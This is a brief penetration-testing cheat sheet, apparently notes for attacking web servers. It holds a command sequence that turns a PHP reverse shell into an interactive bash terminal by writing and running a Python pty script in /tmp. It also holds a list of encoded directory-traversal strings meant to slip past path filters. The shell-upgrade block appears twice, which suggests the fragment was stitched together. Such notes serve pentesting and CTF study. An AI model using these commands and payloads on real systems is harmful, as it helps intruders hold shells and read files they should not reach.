Solution to su: must be run from a terminal when working in reverse shell (PHP).
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py| Encoded Traversal Strings: | |
| ../ | |
| ..\ | |
| ..\/ | |
| %2e%2e%2f | |
| %252e%252e%252f | |
| %c0%ae%c0%ae%c0%af | |
| %uff0e%uff0e%u2215 | |
| %uff0e%uff0e%u2216 |
Solution to su: must be run from a terminal when working in reverse shell (PHP).
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py